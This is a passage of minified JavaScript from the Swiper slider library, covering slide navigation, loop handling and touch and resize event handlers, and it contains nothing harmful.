l,o=0,d=0;s.isHorizontal()?o=a?-e:e:d=e,i.roundLengths&&(o=Math.floor(o),d=Math.floor(d)),s.previousTranslate=s.translate,s.translate=s.isHorizontal()?o:d,i.cssMode?r[s.isHorizontal()?"scrollLeft":"scrollTop"]=s.isHorizontal()?-o:-d:i.virtualTranslate||(s.isHorizontal()?o-=s.cssOverflowAdjustment():d-=s.cssOverflowAdjustment(),r.style.transform=`translate3d(${o}px, ${d}px, 0px)`);const c=s.maxTranslate()-s.minTranslate();l=0===c?0:(e-s.minTranslate())/c,l!==n&&s.updateProgress(e),s.emit("setTranslate",s.translate,t)},minTranslate:function(){return-this.snapGrid[0]},maxTranslate:function(){return-this.snapGrid[this.snapGrid.length-1]},translateTo:function(e,t,s,a,i){void 0===e&&(e=0),void 0===t&&(t=this.params.speed),void 0===s&&(s=!0),void 0===a&&(a=!0);const r=this,{params:n,wrapperEl:l}=r;if(r.animating&&n.preventInteractionOnTransition)return!1;const o=r.minTranslate(),d=r.maxTranslate();let c;if(c=a&&e>o?o:a&&e<d?d:e,r.updateProgress(c),n.cssMode){const e=r.isHorizontal();if(0===t)l[e?"scrollLeft":"scrollTop"]=-c;else{if(!r.support.smoothScroll)return m({swiper:r,targetPosition:-c,side:e?"left":"top"}),!0;l.scrollTo({[e?"left":"top"]:-c,behavior:"smooth"})}return!0}return 0===t?(r.setTransition(0),r.setTranslate(c),s&&(r.emit("beforeTransitionStart",t,i),r.emit("transitionEnd"))):(r.setTransition(t),r.setTranslate(c),s&&(r.emit("beforeTransitionStart",t,i),r.emit("transitionStart")),r.animating||(r.animating=!0,r.onTranslateToWrapperTransitionEnd||(r.onTranslateToWrapperTransitionEnd=function(e){r&&!r.destroyed&&e.target===this&&(r.wrapperEl.removeEventListener("transitionend",r.onTranslateToWrapperTransitionEnd),r.onTranslateToWrapperTransitionEnd=null,delete r.onTranslateToWrapperTransitionEnd,s&&r.emit("transitionEnd"))}),r.wrapperEl.addEventListener("transitionend",r.onTranslateToWrapperTransitionEnd))),!0}};function G(e){let{swiper:t,runCallbacks:s,direction:a,step:i}=e;const{activeIndex:r,previousIndex:n}=t;let l=a;if(l||(l=r>n?"next":r<n?"prev":"reset"),t.emit(`transition${i}`),s&&r!==n){if("reset"===l)return void t.emit(`slideResetTransition${i}`);t.emit(`slideChangeTransition${i}`),"next"===l?t.emit(`slideNextTransition${i}`):t.emit(`slidePrevTransition${i}`)}}var X={slideTo:function(e,t,s,a,i){void 0===e&&(e=0),void 0===t&&(t=this.params.speed),void 0===s&&(s=!0),"string"==typeof e&&(e=parseInt(e,10));const r=this;let n=e;n<0&&(n=0);const{params:l,snapGrid:o,slidesGrid:d,previousIndex:c,activeIndex:p,rtlTranslate:u,wrapperEl:h,enabled:f}=r;if(r.animating&&l.preventInteractionOnTransition||!f&&!a&&!i)return!1;const g=Math.min(r.params.slidesPerGroupSkip,n);let v=g+Math.floor((n-g)/r.params.slidesPerGroup);v>=o.length&&(v=o.length-1);const w=-o[v];if(l.normalizeSlideIndex)for(let e=0;e<d.length;e+=1){const t=-Math.floor(100*w),s=Math.floor(100*d[e]),a=Math.floor(100*d[e+1]);void 0!==d[e+1]?t>=s&&t<a-(a-s)/2?n=e:t>=s&&t<a&&(n=e+1):t>=s&&(n=e)}if(r.initialized&&n!==p){if(!r.allowSlideNext&&(u?w>r.translate&&w>r.minTranslate():w<r.translate&&w<r.minTranslate()))return!1;if(!r.allowSlidePrev&&w>r.translate&&w>r.maxTranslate()&&(p||0)!==n)return!1}let b;if(n!==(c||0)&&s&&r.emit("beforeSlideChangeStart"),r.updateProgress(w),b=n>p?"next":n<p?"prev":"reset",u&&-w===r.translate||!u&&w===r.translate)return r.updateActiveIndex(n),l.autoHeight&&r.updateAutoHeight(),r.updateSlidesClasses(),"slide"!==l.effect&&r.setTranslate(w),"reset"!==b&&(r.transitionStart(s,b),r.transitionEnd(s,b)),!1;if(l.cssMode){const e=r.isHorizontal(),s=u?w:-w;if(0===t){const t=r.virtual&&r.params.virtual.enabled;t&&(r.wrapperEl.style.scrollSnapType="none",r._immediateVirtual=!0),t&&!r._cssModeVirtualInitialSet&&r.params.initialSlide>0?(r._cssModeVirtualInitialSet=!0,requestAnimationFrame((()=>{h[e?"scrollLeft":"scrollTop"]=s}))):h[e?"scrollLeft":"scrollTop"]=s,t&&requestAnimationFrame((()=>{r.wrapperEl.style.scrollSnapType="",r._immediateVirtual=!1}))}else{if(!r.support.smoothScroll)return m({swiper:r,targetPosition:s,side:e?"left":"top"}),!0;h.scrollTo({[e?"left":"top"]:s,behavior:"smooth"})}return!0}return r.setTransition(t),r.setTranslate(w),r.updateActiveIndex(n),r.updateSlidesClasses(),r.emit("beforeTransitionStart",t,a),r.transitionStart(s,b),0===t?r.transitionEnd(s,b):r.animating||(r.animating=!0,r.onSlideToWrapperTransitionEnd||(r.onSlideToWrapperTransitionEnd=function(e){r&&!r.destroyed&&e.target===this&&(r.wrapperEl.removeEventListener("transitionend",r.onSlideToWrapperTransitionEnd),r.onSlideToWrapperTransitionEnd=null,delete r.onSlideToWrapperTransitionEnd,r.transitionEnd(s,b))}),r.wrapperEl.addEventListener("transitionend",r.onSlideToWrapperTransitionEnd)),!0},slideToLoop:function(e,t,s,a){if(void 0===e&&(e=0),void 0===t&&(t=this.params.speed),void 0===s&&(s=!0),"string"==typeof e){e=parseInt(e,10)}const i=this,r=i.grid&&i.params.grid&&i.params.grid.rows>1;let n=e;if(i.params.loop)if(i.virtual&&i.params.virtual.enabled)n+=i.virtual.slidesBefore;else{let e;if(r){const t=n*i.params.grid.rows;e=i.slides.filter((e=>1*e.getAttribute("data-swiper-slide-index")===t))[0].column}else e=i.getSlideIndexByData(n);const t=r?Math.ceil(i.slides.length/i.params.grid.rows):i.slides.length,{centeredSlides:s}=i.params;let a=i.params.slidesPerView;"auto"===a?a=i.slidesPerViewDynamic():(a=Math.ceil(parseFloat(i.params.slidesPerView,10)),s&&a%2==0&&(a+=1));let l=t-e<a;if(s&&(l=l||e<Math.ceil(a/2)),l){const a=s?e<i.activeIndex?"prev":"next":e-i.activeIndex-1<i.params.slidesPerView?"next":"prev";i.loopFix({direction:a,slideTo:!0,activeSlideIndex:"next"===a?e+1:e-t+1,slideRealIndex:"next"===a?i.realIndex:void 0})}if(r){const e=n*i.params.grid.rows;n=i.slides.filter((t=>1*t.getAttribute("data-swiper-slide-index")===e))[0].column}else n=i.getSlideIndexByData(n)}return requestAnimationFrame((()=>{i.slideTo(n,t,s,a)})),i},slideNext:function(e,t,s){void 0===e&&(e=this.params.speed),void 0===t&&(t=!0);const a=this,{enabled:i,params:r,animating:n}=a;if(!i)return a;let l=r.slidesPerGroup;"auto"===r.slidesPerView&&1===r.slidesPerGroup&&r.slidesPerGroupAuto&&(l=Math.max(a.slidesPerViewDynamic("current",!0),1));const o=a.activeIndex<r.slidesPerGroupSkip?1:l,d=a.virtual&&r.virtual.enabled;if(r.loop){if(n&&!d&&r.loopPreventsSliding)return!1;if(a.loopFix({direction:"next"}),a._clientLeft=a.wrapperEl.clientLeft,a.activeIndex===a.slides.length-1&&r.cssMode)return requestAnimationFrame((()=>{a.slideTo(a.activeIndex+o,e,t,s)})),!0}return r.rewind&&a.isEnd?a.slideTo(0,e,t,s):a.slideTo(a.activeIndex+o,e,t,s)},slidePrev:function(e,t,s){void 0===e&&(e=this.params.speed),void 0===t&&(t=!0);const a=this,{params:i,snapGrid:r,slidesGrid:n,rtlTranslate:l,enabled:o,animating:d}=a;if(!o)return a;const c=a.virtual&&i.virtual.enabled;if(i.loop){if(d&&!c&&i.loopPreventsSliding)return!1;a.loopFix({direction:"prev"}),a._clientLeft=a.wrapperEl.clientLeft}function p(e){return e<0?-Math.floor(Math.abs(e)):Math.floor(e)}const u=p(l?a.translate:-a.translate),m=r.map((e=>p(e)));let h=r[m.indexOf(u)-1];if(void 0===h&&i.cssMode){let e;r.forEach(((t,s)=>{u>=t&&(e=s)})),void 0!==e&&(h=r[e>0?e-1:e])}let f=0;if(void 0!==h&&(f=n.indexOf(h),f<0&&(f=a.activeIndex-1),"auto"===i.slidesPerView&&1===i.slidesPerGroup&&i.slidesPerGroupAuto&&(f=f-a.slidesPerViewDynamic("previous",!0)+1,f=Math.max(f,0))),i.rewind&&a.isBeginning){const i=a.params.virtual&&a.params.virtual.enabled&&a.virtual?a.virtual.slides.length-1:a.slides.length-1;return a.slideTo(i,e,t,s)}return i.loop&&0===a.activeIndex&&i.cssMode?(requestAnimationFrame((()=>{a.slideTo(f,e,t,s)})),!0):a.slideTo(f,e,t,s)},slideReset:function(e,t,s){return void 0===e&&(e=this.params.speed),void 0===t&&(t=!0),this.slideTo(this.activeIndex,e,t,s)},slideToClosest:function(e,t,s,a){void 0===e&&(e=this.params.speed),void 0===t&&(t=!0),void 0===a&&(a=.5);const i=this;let r=i.activeIndex;const n=Math.min(i.params.slidesPerGroupSkip,r),l=n+Math.floor((r-n)/i.params.slidesPerGroup),o=i.rtlTranslate?i.translate:-i.translate;if(o>=i.snapGrid[l]){const e=i.snapGrid[l];o-e>(i.snapGrid[l+1]-e)*a&&(r+=i.params.slidesPerGroup)}else{const e=i.snapGrid[l-1];o-e<=(i.snapGrid[l]-e)*a&&(r-=i.params.slidesPerGroup)}return r=Math.max(r,0),r=Math.min(r,i.slidesGrid.length-1),i.slideTo(r,e,t,s)},slideToClickedSlide:function(){const e=this,{params:t,slidesEl:s}=e,a="auto"===t.slidesPerView?e.slidesPerViewDynamic():t.slidesPerView;let i,r=e.clickedIndex;const n=e.isElement?"swiper-slide":`.${t.slideClass}`;if(t.loop){if(e.animating)return;i=parseInt(e.clickedSlide.getAttribute("data-swiper-slide-index"),10),t.centeredSlides?r<e.loopedSlides-a/2||r>e.slides.length-e.loopedSlides+a/2?(e.loopFix(),r=e.getSlideIndex(f(s,`${n}[data-swiper-slide-index="${i}"]`)[0]),l((()=>{e.slideTo(r)}))):e.slideTo(r):r>e.slides.length-a?(e.loopFix(),r=e.getSlideIndex(f(s,`${n}[data-swiper-slide-index="${i}"]`)[0]),l((()=>{e.slideTo(r)}))):e.slideTo(r)}else e.slideTo(r)}};var H={loopCreate:function(e){const t=this,{params:s,slidesEl:a}=t;if(!s.loop||t.virtual&&t.params.virtual.enabled)return;const i=()=>{f(a,`.${s.slideClass}, swiper-slide`).forEach(((e,t)=>{e.setAttribute("data-swiper-slide-index",t)}))},r=t.grid&&s.grid&&s.grid.rows>1,n=s.slidesPerGroup*(r?s.grid.rows:1),l=t.slides.length%n!=0,o=r&&t.slides.length%s.grid.rows!=0,d=e=>{for(let a=0;a<e;a+=1){const e=t.isElement?v("swiper-slide",[s.slideBlankClass]):v("div",[s.slideClass,s.slideBlankClass]);t.slidesEl.append(e)}};if(l){if(s.loopAddBlankSlides){d(n-t.slides.length%n),t.recalcSlides(),t.updateSlides()}else g("Swiper Loop Warning: The number of slides is not even to slidesPerGroup, loop mode may not function properly. You need to add more slides (or make duplicates, or empty slides)");i()}else if(o){if(s.loopAddBlankSlides){d(s.grid.rows-t.slides.length%s.grid.rows),t.recalcSlides(),t.updateSlides()}else g("Swiper Loop Warning: The number of slides is not even to grid.rows, loop mode may not function properly. You need to add more slides (or make duplicates, or empty slides)");i()}else i();t.loopFix({slideRealIndex:e,direction:s.centeredSlides?void 0:"next"})},loopFix:function(e){let{slideRealIndex:t,slideTo:s=!0,direction:a,setTranslate:i,activeSlideIndex:r,byController:n,byMousewheel:l}=void 0===e?{}:e;const o=this;if(!o.params.loop)return;o.emit("beforeLoopFix");const{slides:d,allowSlidePrev:c,allowSlideNext:p,slidesEl:u,params:m}=o,{centeredSlides:h}=m;if(o.allowSlidePrev=!0,o.allowSlideNext=!0,o.virtual&&m.virtual.enabled)return s&&(m.centeredSlides||0!==o.snapIndex?m.centeredSlides&&o.snapIndex<m.slidesPerView?o.slideTo(o.virtual.slides.length+o.snapIndex,0,!1,!0):o.snapIndex===o.snapGrid.length-1&&o.slideTo(o.virtual.slidesBefore,0,!1,!0):o.slideTo(o.virtual.slides.length,0,!1,!0)),o.allowSlidePrev=c,o.allowSlideNext=p,void o.emit("loopFix");let f=m.slidesPerView;"auto"===f?f=o.slidesPerViewDynamic():(f=Math.ceil(parseFloat(m.slidesPerView,10)),h&&f%2==0&&(f+=1));const v=m.slidesPerGroupAuto?f:m.slidesPerGroup;let w=v;w%v!=0&&(w+=v-w%v),w+=m.loopAdditionalSlides,o.loopedSlides=w;const b=o.grid&&m.grid&&m.grid.rows>1;d.length<f+w?g("Swiper Loop Warning: The number of slides is not enough for loop mode, it will be disabled and not function properly. You need to add more slides (or make duplicates) or lower the values of slidesPerView and slidesPerGroup parameters"):b&&"row"===m.grid.fill&&g("Swiper Loop Warning: Loop mode is not compatible with grid.fill = `row`");const y=[],E=[];let x=o.activeIndex;void 0===r?r=o.getSlideIndex(d.filter((e=>e.classList.contains(m.slideActiveClass)))[0]):x=r;const S="next"===a||!a,T="prev"===a||!a;let M=0,C=0;const P=b?Math.ceil(d.length/m.grid.rows):d.length,L=(b?d[r].column:r)+(h&&void 0===i?-f/2+.5:0);if(L<w){M=Math.max(w-L,v);for(let e=0;e<w-L;e+=1){const t=e-Math.floor(e/P)*P;if(b){const e=P-t-1;for(let t=d.length-1;t>=0;t-=1)d[t].column===e&&y.push(t)}else y.push(P-t-1)}}else if(L+f>P-w){C=Math.max(L-(P-2*w),v);for(let e=0;e<C;e+=1){const t=e-Math.floor(e/P)*P;b?d.forEach(((e,s)=>{e.column===t&&E.push(s)})):E.push(t)}}if(o.__preventObserver__=!0,requestAnimationFrame((()=>{o.__preventObserver__=!1})),T&&y.forEach((e=>{d[e].swiperLoopMoveDOM=!0,u.prepend(d[e]),d[e].swiperLoopMoveDOM=!1})),S&&E.forEach((e=>{d[e].swiperLoopMoveDOM=!0,u.append(d[e]),d[e].swiperLoopMoveDOM=!1})),o.recalcSlides(),"auto"===m.slidesPerView?o.updateSlides():b&&(y.length>0&&T||E.length>0&&S)&&o.slides.forEach(((e,t)=>{o.grid.updateSlide(t,e,o.slides)})),m.watchSlidesProgress&&o.updateSlidesOffset(),s)if(y.length>0&&T){if(void 0===t){const e=o.slidesGrid[x],t=o.slidesGrid[x+M]-e;l?o.setTranslate(o.translate-t):(o.slideTo(x+M,0,!1,!0),i&&(o.touchEventsData.startTranslate=o.touchEventsData.startTranslate-t,o.touchEventsData.currentTranslate=o.touchEventsData.currentTranslate-t))}else if(i){const e=b?y.length/m.grid.rows:y.length;o.slideTo(o.activeIndex+e,0,!1,!0),o.touchEventsData.currentTranslate=o.translate}}else if(E.length>0&&S)if(void 0===t){const e=o.slidesGrid[x],t=o.slidesGrid[x-C]-e;l?o.setTranslate(o.translate-t):(o.slideTo(x-C,0,!1,!0),i&&(o.touchEventsData.startTranslate=o.touchEventsData.startTranslate-t,o.touchEventsData.currentTranslate=o.touchEventsData.currentTranslate-t))}else{const e=b?E.length/m.grid.rows:E.length;o.slideTo(o.activeIndex-e,0,!1,!0)}if(o.allowSlidePrev=c,o.allowSlideNext=p,o.controller&&o.controller.control&&!n){const e={slideRealIndex:t,direction:a,setTranslate:i,activeSlideIndex:r,byController:!0};Array.isArray(o.controller.control)?o.controller.control.forEach((t=>{!t.destroyed&&t.params.loop&&t.loopFix({...e,slideTo:t.params.slidesPerView===m.slidesPerView&&s})})):o.controller.control instanceof o.constructor&&o.controller.control.params.loop&&o.controller.control.loopFix({...e,slideTo:o.controller.control.params.slidesPerView===m.slidesPerView&&s})}o.emit("loopFix")},loopDestroy:function(){const e=this,{params:t,slidesEl:s}=e;if(!t.loop||e.virtual&&e.params.virtual.enabled)return;e.recalcSlides();const a=[];e.slides.forEach((e=>{const t=void 0===e.swiperSlideIndex?1*e.getAttribute("data-swiper-slide-index"):e.swiperSlideIndex;a[t]=e})),e.slides.forEach((e=>{e.removeAttribute("data-swiper-slide-index")})),a.forEach((e=>{s.append(e)})),e.recalcSlides(),e.slideTo(e.realIndex,0)}};function N(e,t,s){const a=r(),{params:i}=e,n=i.edgeSwipeDetection,l=i.edgeSwipeThreshold;return!n||!(s<=l||s>=a.innerWidth-l)||"prevent"===n&&(t.preventDefault(),!0)}function Y(e){const t=this,s=a();let i=e;i.originalEvent&&(i=i.originalEvent);const n=t.touchEventsData;if("pointerdown"===i.type){if(null!==n.pointerId&&n.pointerId!==i.pointerId)return;n.pointerId=i.pointerId}else"touchstart"===i.type&&1===i.targetTouches.length&&(n.touchId=i.targetTouches[0].identifier);if("touchstart"===i.type)return void N(t,i,i.targetTouches[0].pageX);const{params:l,touches:d,enabled:c}=t;if(!c)return;if(!l.simulateTouch&&"mouse"===i.pointerType)return;if(t.animating&&l.preventInteractionOnTransition)return;!t.animating&&l.cssMode&&l.loop&&t.loopFix();let p=i.target;if("wrapper"===l.touchEventsTarget&&!t.wrapperEl.contains(p))return;if("which"in i&&3===i.which)return;if("button"in i&&i.button>0)return;if(n.isTouched&&n.isMoved)return;const u=!!l.noSwipingClass&&""!==l.noSwipingClass,m=i.composedPath?i.composedPath():i.path;u&&i.target&&i.target.shadowRoot&&m&&(p=m[0]);const h=l.noSwipingSelector?l.noSwipingSelector:`.${l.noSwipingClass}`,f=!(!i.target||!i.target.shadowRoot);if(l.noSwiping&&(f?function(e,t){return void 0===t&&(t=this),function t(s){if(!s||s===a()||s===r())return null;s.assignedSlot&&(s=s.assignedSlot);const i=s.closest(e);return i||s.getRootNode?i||t(s.getRootNode().host):null}(t)}(h,p):p.closest(h)))return void(t.allowClick=!0);if(l.swipeHandler&&!p.closest(l.swipeHandler))return;d.currentX=i.pageX,d.currentY=i.pageY;const g=d.currentX,v=d.currentY;if(!N(t,i,g))return;Object.assign(n,{isTouched:!0,isMoved:!1,allowTouchCallbacks:!0,isScrolling:void 0,startMoving:void 0}),d.startX=g,d.startY=v,n.touchStartTime=o(),t.allowClick=!0,t.updateSize(),t.swipeDirection=void 0,l.threshold>0&&(n.allowThresholdMove=!1);let w=!0;p.matches(n.focusableElements)&&(w=!1,"SELECT"===p.nodeName&&(n.isTouched=!1)),s.activeElement&&s.activeElement.matches(n.focusableElements)&&s.activeElement!==p&&s.activeElement.blur();const b=w&&t.allowTouchMove&&l.touchStartPreventDefault;!l.touchStartForcePreventDefault&&!b||p.isContentEditable||i.preventDefault(),l.freeMode&&l.freeMode.enabled&&t.freeMode&&t.animating&&!l.cssMode&&t.freeMode.onTouchStart(),t.emit("touchStart",i)}function B(e){const t=a(),s=this,i=s.touchEventsData,{params:r,touches:n,rtlTranslate:l,enabled:d}=s;if(!d)return;if(!r.simulateTouch&&"mouse"===e.pointerType)return;let c,p=e;if(p.originalEvent&&(p=p.originalEvent),"pointermove"===p.type){if(null!==i.touchId)return;if(p.pointerId!==i.pointerId)return}if("touchmove"===p.type){if(c=[...p.changedTouches].filter((e=>e.identifier===i.touchId))[0],!c||c.identifier!==i.touchId)return}else c=p;if(!i.isTouched)return void(i.startMoving&&i.isScrolling&&s.emit("touchMoveOpposite",p));const u=c.pageX,m=c.pageY;if(p.preventedByNestedSwiper)return n.startX=u,void(n.startY=m);if(!s.allowTouchMove)return p.target.matches(i.focusableElements)||(s.allowClick=!1),void(i.isTouched&&(Object.assign(n,{startX:u,startY:m,currentX:u,currentY:m}),i.touchStartTime=o()));if(r.touchReleaseOnEdges&&!r.loop)if(s.isVertical()){if(m<n.startY&&s.translate<=s.maxTranslate()||m>n.startY&&s.translate>=s.minTranslate())return i.isTouched=!1,void(i.isMoved=!1)}else if(u<n.startX&&s.translate<=s.maxTranslate()||u>n.startX&&s.translate>=s.minTranslate())return;if(t.activeElement&&p.target===t.activeElement&&p.target.matches(i.focusableElements))return i.isMoved=!0,void(s.allowClick=!1);i.allowTouchCallbacks&&s.emit("touchMove",p),n.previousX=n.currentX,n.previousY=n.currentY,n.currentX=u,n.currentY=m;const h=n.currentX-n.startX,f=n.currentY-n.startY;if(s.params.threshold&&Math.sqrt(h**2+f**2)<s.params.threshold)return;if(void 0===i.isScrolling){let e;s.isHorizontal()&&n.currentY===n.startY||s.isVertical()&&n.currentX===n.startX?i.isScrolling=!1:h*h+f*f>=25&&(e=180*Math.atan2(Math.abs(f),Math.abs(h))/Math.PI,i.isScrolling=s.isHorizontal()?e>r.touchAngle:90-e>r.touchAngle)}if(i.isScrolling&&s.emit("touchMoveOpposite",p),void 0===i.startMoving&&(n.currentX===n.startX&&n.currentY===n.startY||(i.startMoving=!0)),i.isScrolling)return void(i.isTouched=!1);if(!i.startMoving)return;s.allowClick=!1,!r.cssMode&&p.cancelable&&p.preventDefault(),r.touchMoveStopPropagation&&!r.nested&&p.stopPropagation();let g=s.isHorizontal()?h:f,v=s.isHorizontal()?n.currentX-n.previousX:n.currentY-n.previousY;r.oneWayMovement&&(g=Math.abs(g)*(l?1:-1),v=Math.abs(v)*(l?1:-1)),n.diff=g,g*=r.touchRatio,l&&(g=-g,v=-v);const w=s.touchesDirection;s.swipeDirection=g>0?"prev":"next",s.touchesDirection=v>0?"prev":"next";const b=s.params.loop&&!r.cssMode,y="next"===s.touchesDirection&&s.allowSlideNext||"prev"===s.touchesDirection&&s.allowSlidePrev;if(!i.isMoved){if(b&&y&&s.loopFix({direction:s.swipeDirection}),i.startTranslate=s.getTranslate(),s.setTransition(0),s.animating){const e=new window.CustomEvent("transitionend",{bubbles:!0,cancelable:!0});s.wrapperEl.dispatchEvent(e)}i.allowMomentumBounce=!1,!r.grabCursor||!0!==s.allowSlideNext&&!0!==s.allowSlidePrev||s.setGrabCursor(!0),s.emit("sliderFirstMove",p)}if((new Date).getTime(),i.isMoved&&i.allowThresholdMove&&w!==s.touchesDirection&&b&&y&&Math.abs(g)>=1)return Object.assign(n,{startX:u,startY:m,currentX:u,currentY:m,startTranslate:i.currentTranslate}),i.loopSwapReset=!0,void(i.startTranslate=i.currentTranslate);s.emit("sliderMove",p),i.isMoved=!0,i.currentTranslate=g+i.startTranslate;let E=!0,x=r.resistanceRatio;if(r.touchReleaseOnEdges&&(x=0),g>0?(b&&y&&i.allowThresholdMove&&i.currentTranslate>(r.centeredSlides?s.minTranslate()-s.slidesSizesGrid[s.activeIndex+1]:s.minTranslate())&&s.loopFix({direction:"prev",setTranslate:!0,activeSlideIndex:0}),i.currentTranslate>s.minTranslate()&&(E=!1,r.resistance&&(i.currentTranslate=s.minTranslate()-1+(-s.minTranslate()+i.startTranslate+g)**x))):g<0&&(b&&y&&i.allowThresholdMove&&i.currentTranslate<(r.centeredSlides?s.maxTranslate()+s.slidesSizesGrid[s.slidesSizesGrid.length-1]:s.maxTranslate())&&s.loopFix({direction:"next",setTranslate:!0,activeSlideIndex:s.slides.length-("auto"===r.slidesPerView?s.slidesPerViewDynamic():Math.ceil(parseFloat(r.slidesPerView,10)))}),i.currentTranslate<s.maxTranslate()&&(E=!1,r.resistance&&(i.currentTranslate=s.maxTranslate()+1-(s.maxTranslate()-i.startTranslate-g)**x))),E&&(p.preventedByNestedSwiper=!0),!s.allowSlideNext&&"next"===s.swipeDirection&&i.currentTranslate<i.startTranslate&&(i.currentTranslate=i.startTranslate),!s.allowSlidePrev&&"prev"===s.swipeDirection&&i.currentTranslate>i.startTranslate&&(i.currentTranslate=i.startTranslate),s.allowSlidePrev||s.allowSlideNext||(i.currentTranslate=i.startTranslate),r.threshold>0){if(!(Math.abs(g)>r.threshold||i.allowThresholdMove))return void(i.currentTranslate=i.startTranslate);if(!i.allowThresholdMove)return i.allowThresholdMove=!0,n.startX=n.currentX,n.startY=n.currentY,i.currentTranslate=i.startTranslate,void(n.diff=s.isHorizontal()?n.currentX-n.startX:n.currentY-n.startY)}r.followFinger&&!r.cssMode&&((r.freeMode&&r.freeMode.enabled&&s.freeMode||r.watchSlidesProgress)&&(s.updateActiveIndex(),s.updateSlidesClasses()),r.freeMode&&r.freeMode.enabled&&s.freeMode&&s.freeMode.onTouchMove(),s.updateProgress(i.currentTranslate),s.setTranslate(i.currentTranslate))}function R(e){const t=this,s=t.touchEventsData;let a,i=e;i.originalEvent&&(i=i.originalEvent);if("touchend"===i.type||"touchcancel"===i.type){if(a=[...i.changedTouches].filter((e=>e.identifier===s.touchId))[0],!a||a.identifier!==s.touchId)return}else{if(null!==s.touchId)return;if(i.pointerId!==s.pointerId)return;a=i}if(["pointercancel","pointerout","pointerleave","contextmenu"].includes(i.type)){if(!(["pointercancel","contextmenu"].includes(i.type)&&(t.browser.isSafari||t.browser.isWebView)))return}s.pointerId=null,s.touchId=null;const{params:r,touches:n,rtlTranslate:d,slidesGrid:c,enabled:p}=t;if(!p)return;if(!r.simulateTouch&&"mouse"===i.pointerType)return;if(s.allowTouchCallbacks&&t.emit("touchEnd",i),s.allowTouchCallbacks=!1,!s.isTouched)return s.isMoved&&r.grabCursor&&t.setGrabCursor(!1),s.isMoved=!1,void(s.startMoving=!1);r.grabCursor&&s.isMoved&&s.isTouched&&(!0===t.allowSlideNext||!0===t.allowSlidePrev)&&t.setGrabCursor(!1);const u=o(),m=u-s.touchStartTime;if(t.allowClick){const e=i.path||i.composedPath&&i.composedPath();t.updateClickedSlide(e&&e[0]||i.target,e),t.emit("tap click",i),m<300&&u-s.lastClickTime<300&&t.emit("doubleTap doubleClick",i)}if(s.lastClickTime=o(),l((()=>{t.destroyed||(t.allowClick=!0)})),!s.isTouched||!s.isMoved||!t.swipeDirection||0===n.diff&&!s.loopSwapReset||s.currentTranslate===s.startTranslate&&!s.loopSwapReset)return s.isTouched=!1,s.isMoved=!1,void(s.startMoving=!1);let h;if(s.isTouched=!1,s.isMoved=!1,s.startMoving=!1,h=r.followFinger?d?t.translate:-t.translate:-s.currentTranslate,r.cssMode)return;if(r.freeMode&&r.freeMode.enabled)return void t.freeMode.onTouchEnd({currentPos:h});const f=h>=-t.maxTranslate()&&!t.params.loop;let g=0,v=t.slidesSizesGrid[0];for(let e=0;e<c.length;e+=e<r.slidesPerGroupSkip?1:r.slidesPerGroup){const t=e<r.slidesPerGroupSkip-1?1:r.slidesPerGroup;void 0!==c[e+t]?(f||h>=c[e]&&h<c[e+t])&&(g=e,v=c[e+t]-c[e]):(f||h>=c[e])&&(g=e,v=c[c.length-1]-c[c.length-2])}let w=null,b=null;r.rewind&&(t.isBeginning?b=r.virtual&&r.virtual.enabled&&t.virtual?t.virtual.slides.length-1:t.slides.length-1:t.isEnd&&(w=0));const y=(h-c[g])/v,E=g<r.slidesPerGroupSkip-1?1:r.slidesPerGroup;if(m>r.longSwipesMs){if(!r.longSwipes)return void t.slideTo(t.activeIndex);"next"===t.swipeDirection&&(y>=r.longSwipesRatio?t.slideTo(r.rewind&&t.isEnd?w:g+E):t.slideTo(g)),"prev"===t.swipeDirection&&(y>1-r.longSwipesRatio?t.slideTo(g+E):null!==b&&y<0&&Math.abs(y)>r.longSwipesRatio?t.slideTo(b):t.slideTo(g))}else{if(!r.shortSwipes)return void t.slideTo(t.activeIndex);t.navigation&&(i.target===t.navigation.nextEl||i.target===t.navigation.prevEl)?i.target===t.navigation.nextEl?t.slideTo(g+E):t.slideTo(g):("next"===t.swipeDirection&&t.slideTo(null!==w?w:g+E),"prev"===t.swipeDirection&&t.slideTo(null!==b?b:g))}}function q(){const e=this,{params:t,el:s}=e;if(s&&0===s.offsetWidth)return;t.breakpoints&&e.setBreakpoint();const{allowSlideNext:a,allowSlidePrev:i,snapGrid:r}=e,n=e.virtual&&e.params.virtual.enabled;e.allowSlideNext=!0,e.allowSlidePrev=!0,e.updateSize(),e.updateSlides(),e.updateSlidesClasses();const l=n&&t.loop;!("auto"===t.slidesPerView||t.slidesPerView>1)||!e.isEnd||e.isBeginning||e.params.centeredSlides||l?e.params.loop&&!n?e.slideToLoop(e.realIndex,0,!1,!0):e.slideTo(e.activeIndex,0,!1,!0):e.slideTo(e.slides.length-1,0,!1,!0),e.autoplay&&e.autoplay.running&&e.autoplay.paused&&(clearTimeout(e.autoplay.resizeTimeout),e.autoplay.resizeTimeout=setTimeout((()=>{e.autoplay&&e.autoplay.running&&e.autoplay.paused&&e.autoplay.resume()}),500)),e.allowSlidePrev=i,e.allowSlideNext=a,e.params.watchOverflow&&r!==e.snapGrid&&e.checkOverflow()}function V(e){const t=this;t.enabled&&(t.allowClick||(t.params.preventClicks&&e.preventDefault(),t.params.preventClicksPropagation&&t.animating&&(e.stopPropagation(),e.stopImmediatePropagation())))}function _(){const e=this,{wrapperEl:t,rtlTranslate:s,enabled:a}=e;if(!a)return;let i;e.previousTranslate=e.translate,e.isHorizontal()?e.translate=-t.scrollLeft:e.translate=-t.scrollTop,0===e.translate&&(e.translate=0),e.updateActiveIndex(),e.updateSlidesClasses();const r=e.maxTranslate()-e.minTranslate();i=0===r?0:(e.translate-e.minTranslate())/r,i!==e.progress&&e.updateProgress(s?-e.translate:e.translate),e.emit("setTranslate",e.translate,!1)}function F(e){const t=this;z(t,e.target),t.params.cssMode||"auto"!==t.params.slidesPerView&&!t.params.autoHeight||t.update()}function j(){const e=this;e.documentTouchHandlerProceeded||(e.documentTouchHandlerProceeded=!0,e.params.touchReleaseOnEdges&&(e.el.style.touchAction="auto"))}const W=(e,t)=>{const 